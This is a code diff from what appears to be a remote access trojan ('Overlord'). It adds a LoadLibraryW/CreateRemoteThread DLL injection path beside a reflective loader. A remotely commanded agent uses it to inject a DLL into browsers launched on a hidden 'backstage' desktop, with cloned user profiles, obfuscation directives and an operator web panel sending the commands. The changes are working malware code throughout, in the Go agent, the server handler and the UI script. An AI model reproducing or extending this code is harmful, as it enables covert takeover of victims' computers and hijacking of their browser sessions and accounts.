diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go index 57b17bb..5086d25 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_stub.go @@ -4,11 +4,11 @@ package capture import "errors" -func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) { return 0, errors.New("backstage injection not supported on this platform") } -func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error { +func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error { return errors.New("backstage injection not supported on this platform") } @@ -16,7 +16,7 @@ type CloneProgressFunc func(percent int, copiedBytes, totalBytes int64, status s type DXGIStatusFunc func(success bool, gpuPID uint32, message string) type LaunchStatusFunc func(step string, success bool, detail string) -func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { return errors.New("backstage injection not supported on this platform") } diff --git a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go index 2493616..84b6904 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_inject_windows.go @@ -3,7 +3,9 @@ package capture import ( + "crypto/sha256" "encoding/binary" + "encoding/hex" "fmt" "log" "os" @@ -47,6 +49,28 @@ type LaunchStatusFunc func(step string, success bool, detail string) var backstageDXGIStatusCallback atomic.Value +// InjectionMethod selects how the backstage DLL is injected into the target +// process. +type InjectionMethod string + +const ( + // InjectionMethodReflective uses the reflective loader injected via + // CreateRemoteThread. The DLL never touches disk. + InjectionMethodReflective InjectionMethod = "reflective" + // InjectionMethodLoadLibrary stages the DLL to a temp file and injects it + // with CreateRemoteThread + LoadLibraryW. + InjectionMethodLoadLibrary InjectionMethod = "loadlibrary" +) + +func normalizeInjectionMethod(method string) InjectionMethod { + switch strings.ToLower(strings.TrimSpace(method)) { + case "loadlibrary", "loadlibraryw", "disk": + return InjectionMethodLoadLibrary + default: + return InjectionMethodReflective + } +} + const ( PROCESS_CREATE_THREAD = 0x0002 PROCESS_QUERY_INFORMATION = 0x0400 @@ -59,6 +83,7 @@ const ( MEM_COMMIT = 0x1000 MEM_RESERVE = 0x2000 + PAGE_READWRITE = 0x04 PAGE_EXECUTE_READWRITE = 0x40 INFINITE_WAIT = 0xFFFFFFFF @@ -166,7 +191,8 @@ func enableDebugPrivilege() { // StartbackstageProcessInjected starts a process suspended on the backstage desktop, // injects the reflective DLL, then resumes it. // searchPath/replacePath are passed as environment variables for the DLL hooks. -func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +// method selects the injection technique: "reflective" (default) or "loadlibrary". +func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) { if filePath == "" { return 0, fmt.Errorf("empty file path") } @@ -181,6 +207,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, searchPath: searchPath, replacePath: replacePath, display: display, + method: method, }, 30*time.Second) if err != nil { return 0, err @@ -188,7 +215,7 @@ func StartbackstageProcessInjected(filePath string, dllBytes []byte, searchPath, return result.pid, result.err } -func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { +func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool, cloneLite bool, killIfRunning bool, display int, method string, onProgress CloneProgressFunc, onDXGIStatus DXGIStatusFunc, onLaunchStatus LaunchStatusFunc) error { if onDXGIStatus != nil { backstageDXGIStatusCallback.Store(onDXGIStatus) } @@ -235,7 +262,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by if !clone { notify("launch", true, "starting without profile cloning") - pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display) + pid, err := StartbackstageProcessInjected(exePath, dllBytes, "", "", display, method) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -296,7 +323,7 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by } notify("launch", true, "starting with cloned profile") - pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display) + pid, err := StartbackstageProcessInjected(exePath, dllBytes, realUserData, cloneDir, display, method) if err != nil { notify("launch", false, fmt.Sprintf("CreateProcess failed: %v", err)) return err @@ -319,8 +346,8 @@ func StartbackstageBrowserInjected(browser string, exePath string, dllBytes []by } // StartbackstageChromeInjected is kept for backward compatibility. -func StartbackstageChromeInjected(chromePath string, dllBytes []byte) error { - return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, nil, nil, nil) +func StartbackstageChromeInjected(chromePath string, dllBytes []byte, method string) error { + return StartbackstageBrowserInjected("chrome", chromePath, dllBytes, true, false, true, 0, method, nil, nil, nil) } type browserInfo struct { @@ -1002,7 +1029,7 @@ func calcDirSize(dir string) int64 { return total } -func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int) (uint32, error) { +func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string, display int, method string) (uint32, error) { //garble:controlflow block_splits=10 junk_jumps=10 flatten_passes=2 if filePath == "" { return 0, fmt.Errorf("empty file path") @@ -1029,19 +1056,20 @@ func startbackstageProcessInjectedOnThread(filePath string, dllBytes []byte, sea } log.Printf("backstage inject: created suspended process PID %d", pid) - // Inject the reflective DLL - if err := reflectiveInject(hProcess, dllBytes); err != nil { + // Inject the backstage DLL + injMethod := normalizeInjectionMethod(method) + if err := injectIntoProcess(hProcess, dllBytes, injMethod); err != nil { procCloseHandle.Call(hProcess) procCloseHandle.Call(hThread) terminateProcess(hProcess) procCloseHandle.Call(shmHandle) return 0, fmt.Errorf("DLL injection failed: %v", err) } - log.Printf("backstage inject: DLL injected into PID %d", pid) + log.Printf("backstage inject: DLL injected into PID %d (method=%s)", pid, injMethod) - // The DLL's InstallNtApiHooks has run (reflectiveInject waits for the - // loader thread). The DLL opened the shared section, so we can release - // our handle now. + // The DLL's InstallNtApiHooks has run (injectIntoProcess waits for the + // injector thread to finish, so DllMain already opened the shared section). + // We can release our handle now. procCloseHandle.Call(shmHandle) procCloseHandle.Call(hProcess) @@ -1419,6 +1447,128 @@ func isRDIEnvironmentEntry(entry string) bool { } } +func injectIntoProcess(hProcess uintptr, dllBytes []byte, method InjectionMethod) error { + switch method { + case InjectionMethodLoadLibrary: + dllPath, err := stageInjectionDLL(dllBytes) + if err != nil { + return fmt.Errorf("failed to stage DLL for LoadLibrary: %v", err) + } + log.Printf("backstage inject: using LoadLibrary injection from %s", dllPath) + if err := loadLibraryInject(hProcess, dllPath); err != nil { + _ = os.Remove(dllPath) + return err + } + // The DLL is fully resident in the target and self-injects into child + // processes from the shared section, so the staged file is no longer + // needed. + _ = os.Remove(dllPath) + return nil + default: + return reflectiveInject(hProcess, dllBytes) + } +} + +// stageInjectionDLL writes the DLL bytes to a temp file so it can be loaded +// with LoadLibraryW. The file name is content-addressed so repeat injections +// reuse an existing file. +func stageInjectionDLL(dllBytes []byte) (string, error) { + sum := sha256.Sum256(dllBytes) + hash := hex.EncodeToString(sum[:]) + dir := filepath.Join(os.TempDir(), "Overlord", "backstage") + if err := os.MkdirAll(dir, 0700); err != nil { + return "", fmt.Errorf("create staging dir: %w", err) + } + target := filepath.Join(dir, "BackstageInjection-"+hash+".x64.dll") + if st, err := os.Stat(target); err == nil && st.Size() == int64(len(dllBytes)) { + return target, nil + } + tmp := target + ".tmp" + if err := os.WriteFile(tmp, dllBytes, 0600); err != nil { + return "", fmt.Errorf("write staging file: %w", err) + } + if err := os.Rename(tmp, target); err != nil { + _ = os.Remove(tmp) + if st, statErr := os.Stat(target); statErr == nil && st.Size() == int64(len(dllBytes)) { + return target, nil + } + return "", fmt.Errorf("finalize staging file: %w", err) + } + return target, nil +} + +// loadLibraryInject uses the classic LoadLibraryW injection: it writes the +// DLL path into the target process and runs LoadLibraryW there via +// CreateRemoteThread. kernel32 is mapped at the same base across processes on +// the same boot, so the local LoadLibraryW address is used for the remote +// thread start routine. +func loadLibraryInject(hProcess uintptr, dllPath string) error { + loadLibAddr := kernel32.NewProc("LoadLibraryW").Addr() + if loadLibAddr == 0 { + return fmt.Errorf("resolving LoadLibraryW failed") + } + log.Printf("backstage inject: LoadLibraryW at 0x%x", loadLibAddr) + + pathBytes, err := syscall.UTF16FromString(dllPath) + if err != nil { + return fmt.Errorf("UTF16FromString(%q): %v", dllPath, err) + } + + remotePath, _, _ := procVirtualAllocEx.Call( + hProcess, + 0, + uintptr(len(pathBytes)*2), + MEM_RESERVE|MEM_COMMIT, + PAGE_READWRITE, + ) + if remotePath == 0 { + return fmt.Errorf("VirtualAllocEx failed") + } + + var bytesWritten uintptr + ret, _, _ := procWriteProcessMemory.Call( + hProcess, + remotePath, + uintptr(unsafe.Pointer(&pathBytes[0])), + uintptr(len(pathBytes)*2), + uintptr(unsafe.Pointer(&bytesWritten)), + ) + if ret == 0 { + return fmt.Errorf("WriteProcessMemory failed") + } + + var threadID uintptr + hThread, _, _ := procCreateRemoteThread.Call( + hProcess, + 0, + 0, + loadLibAddr, + remotePath, + 0, + uintptr(unsafe.Pointer(&threadID)), + ) + if hThread == 0 { + return fmt.Errorf("CreateRemoteThread failed") + } + + waitRet, _, waitErr := procWaitForSingleObject.Call(hThread, 30000) + var exitCode uint32 + if ret, _, callErr := procGetExitCodeThread.Call(hThread, uintptr(unsafe.Pointer(&exitCode))); ret != 0 { + log.Printf("backstage inject: remote LoadLibrary thread finished wait=0x%x module=0x%x", waitRet, exitCode) + } else { + log.Printf("backstage inject: GetExitCodeThread failed after wait=0x%x: %v", waitRet, callErr) + } + procCloseHandle.Call(hThread) + + if waitRet == 0xFFFFFFFF { + return fmt.Errorf("remote LoadLibrary thread wait failed: %v", waitErr) + } + if exitCode == 0 { + return fmt.Errorf("LoadLibraryW failed in remote process") + } + return nil +} + func reflectiveInject(hProcess uintptr, dllBytes []byte) error { loaderOffset, err := findReflectiveLoaderOffset(dllBytes) if err != nil { diff --git a/Overlord-Client/cmd/agent/capture/backstage_windows.go b/Overlord-Client/cmd/agent/capture/backstage_windows.go index 3c307e1..7fd1fd4 100644 --- a/Overlord-Client/cmd/agent/capture/backstage_windows.go +++ b/Overlord-Client/cmd/agent/capture/backstage_windows.go @@ -236,6 +236,7 @@ type backstageTask struct { dllBytes []byte searchPath string replacePath string + method string queuedAt time.Time resp chan backstageTaskResult } @@ -561,7 +562,7 @@ func ensurebackstageThread() error { case backstageTaskStartProcess: result.pid, result.err = startbackstageProcessOnThread(task.filePath, task.display) case backstageTaskStartProcessInjected: - result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display) + result.pid, result.err = startbackstageProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath, task.display, task.method) case backstageTaskMouseMove: result.err = backstageMouseMoveOnThread(task.display, task.x, task.y) case backstageTaskMouseDown: @@ -848,7 +849,7 @@ func backstageTaskDetails(task backstageTask) string { case backstageTaskStartProcess: return fmt.Sprintf("cmd=%q", task.filePath) case backstageTaskStartProcessInjected: - return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes)) + return fmt.Sprintf("cmd=%q search=%q replace=%q method=%s dllSize=%d", task.filePath, task.searchPath, task.replacePath, task.method, len(task.dllBytes)) default: return "" } diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go index d4d40b9..8506722 100644 --- a/Overlord-Client/cmd/agent/handlers/command.go +++ b/Overlord-Client/cmd/agent/handlers/command.go @@ -2013,6 +2013,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in searchPath := "" replacePath := "" display := 0 + injectionMethod := "" if payload != nil { if v, ok := payload["path"].(string); ok { filePath = v @@ -2026,16 +2027,19 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["display"].(float64); ok { display = int(v) } + if v, ok := payload["injectionMethod"].(string); ok { + injectionMethod = v + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } - log.Printf("backstage: start process injected %q search=%q replace=%q display=%d dllSize=%d", filePath, searchPath, replacePath, display, len(dllBytes)) + log.Printf("backstage: start process injected %q search=%q replace=%q display=%d method=%q dllSize=%d", filePath, searchPath, replacePath, display, injectionMethod, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_process_injected", nil, func() { - if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display); err != nil { + if _, err := capture.StartbackstageProcessInjected(filePath, dllBytes, searchPath, replacePath, display, injectionMethod); err != nil { log.Printf("backstage: injected process failed for %q: %v", filePath, err) } }) @@ -2044,20 +2048,24 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in case "backstage_start_chrome_injected": payload, _ := envelope["payload"].(map[string]interface{}) chromePath := "" + injectionMethod := "" if payload != nil { if v, ok := payload["path"].(string); ok { chromePath = v } + if v, ok := payload["injectionMethod"].(string); ok { + injectionMethod = v + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { sendCommandResultSafe(env, cmdID, false, "no DLL provided") return nil } - log.Printf("backstage: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes)) + log.Printf("backstage: start chrome injected path=%q method=%q dllSize=%d", chromePath, injectionMethod, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_chrome_injected", nil, func() { - if err := capture.StartbackstageChromeInjected(chromePath, dllBytes); err != nil { + if err := capture.StartbackstageChromeInjected(chromePath, dllBytes, injectionMethod); err != nil { log.Printf("backstage: chrome injected failed: %v", err) } }) @@ -2071,6 +2079,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in cloneLite := false killIfRunning := false display := 0 + injectionMethod := "" if payload != nil { if v, ok := payload["browser"].(string); ok { browser = v @@ -2090,6 +2099,9 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in if v, ok := payload["display"].(float64); ok { display = int(v) } + if v, ok := payload["injectionMethod"].(string); ok { + injectionMethod = v + } } dllBytes := extractDLLBytes(payload) if len(dllBytes) == 0 { @@ -2100,7 +2112,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in sendCommandResultSafe(env, cmdID, false, "no browser specified") return nil } - log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, len(dllBytes)) + log.Printf("backstage: start browser injected browser=%q path=%q clone=%v cloneLite=%v killIfRunning=%v display=%d method=%q dllSize=%d", browser, exePath, clone, cloneLite, killIfRunning, display, injectionMethod, len(dllBytes)) sendCommandResultSafe(env, cmdID, true, "") goSafe("backstage_start_browser_injected", nil, func() { var onProgress capture.CloneProgressFunc @@ -2137,7 +2149,7 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in Detail: detail, }) } - if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, onProgress, onDXGIStatus, onLaunchStatus); err != nil { + if err := capture.StartbackstageBrowserInjected(browser, exePath, dllBytes, clone, cloneLite, killIfRunning, display, injectionMethod, onProgress, onDXGIStatus, onLaunchStatus); err != nil { log.Printf("backstage: browser injected failed for %q: %v", browser, err) } }) diff --git a/Overlord-Server/public/assets/backstage.js b/Overlord-Server/public/assets/backstage.js index b5ac554..9b885e7 100644 --- a/Overlord-Server/public/assets/backstage.js +++ b/Overlord-Server/public/assets/backstage.js @@ -202,6 +202,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s if (killIfRunningToggle && typeof settings.killIfRunning === "boolean") { killIfRunningToggle.checked = settings.killIfRunning; } + const injectionMethodSelect = document.getElementById("backstageInjectionMethod"); + if (injectionMethodSelect && typeof settings.injectionMethod === "string") { + const allowed = ["reflective", "loadlibrary"]; + if (allowed.includes(settings.injectionMethod)) { + setSelectValue(injectionMethodSelect, settings.injectionMethod); + } + } applySavedDisplay(); } @@ -222,9 +229,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s cloneProfile: document.getElementById("backstageCloneToggle")?.checked !== false, cloneLite: document.getElementById("backstageCloneLiteToggle")?.checked === true, killIfRunning: document.getElementById("backstageKillIfRunningToggle")?.checked === true, + injectionMethod: readInjectionMethod(), }; } + function readInjectionMethod() { + return document.getElementById("backstageInjectionMethod")?.value || "reflective"; + } + applySharedSettings(await loadSharedUiSettings("backstage")); // Interactive input is intentionally session-scoped: opening any client's // page must require the operator to opt in again, regardless of saved UI @@ -1830,7 +1842,7 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s }); } - ["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle"].forEach((id) => { + ["backstageCloneToggle", "backstageCloneLiteToggle", "backstageKillIfRunningToggle", "backstageInjectionMethod"].forEach((id) => { const el = document.getElementById(id); if (el) { el.addEventListener("change", function () { @@ -1851,52 +1863,52 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./generated/s const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "chrome", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-brave") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "brave", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-edge") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "edge", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-firefox") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "firefox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-opera") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "opera", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-operagx") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "operagx", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-vivaldi") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "vivaldi", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-yandex") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "yandex", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-waterfox") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "waterfox", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-arc") { const clone = document.getElementById("backstageCloneToggle")?.checked !== false; const cloneLite = document.getElementById("backstageCloneLiteToggle")?.checked === true; const killIfRunning = document.getElementById("backstageKillIfRunningToggle")?.checked !== false; - sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning }); + sendCmd("backstage_start_browser_injected", { browser: "arc", clone, cloneLite, killIfRunning, injectionMethod: readInjectionMethod() }); } else if (action === "start-custom") { hideContextMenu(); showCustomExeModal(); diff --git a/Overlord-Server/public/backstage.html b/Overlord-Server/public/backstage.html index 9db9a35..35cedbd 100644 --- a/Overlord-Server/public/backstage.html +++ b/Overlord-Server/public/backstage.html @@ -264,6 +264,13 @@ Kill browser if running +
Shells
diff --git a/Overlord-Server/src/server/ws-console-rd-backstage.ts b/Overlord-Server/src/server/ws-console-rd-backstage.ts index 374f73d..96fceec 100644 --- a/Overlord-Server/src/server/ws-console-rd-backstage.ts +++ b/Overlord-Server/src/server/ws-console-rd-backstage.ts @@ -1405,6 +1405,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra replace_path: String(payload.replace_path || ""), dll: dllData, display: state.display ?? 0, + injectionMethod: String(payload.injectionMethod || ""), }; sendbackstageCommand(target, "backstage_start_process_injected", cmdPayload); break; @@ -1420,6 +1421,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra path: String(payload.path || ""), dll: dllData, display: state.display ?? 0, + injectionMethod: String(payload.injectionMethod || ""), }; sendbackstageCommand(target, "backstage_start_chrome_injected", chromeCmdPayload); break; @@ -1439,6 +1441,7 @@ export function handlebackstageViewerMessage(ws: ServerWebSocket, ra killIfRunning: payload.killIfRunning === true, dll: dllData, display: state.display ?? 0, + injectionMethod: String(payload.injectionMethod || ""), }; sendbackstageCommand(target, "backstage_start_browser_injected", browserCmdPayload); break;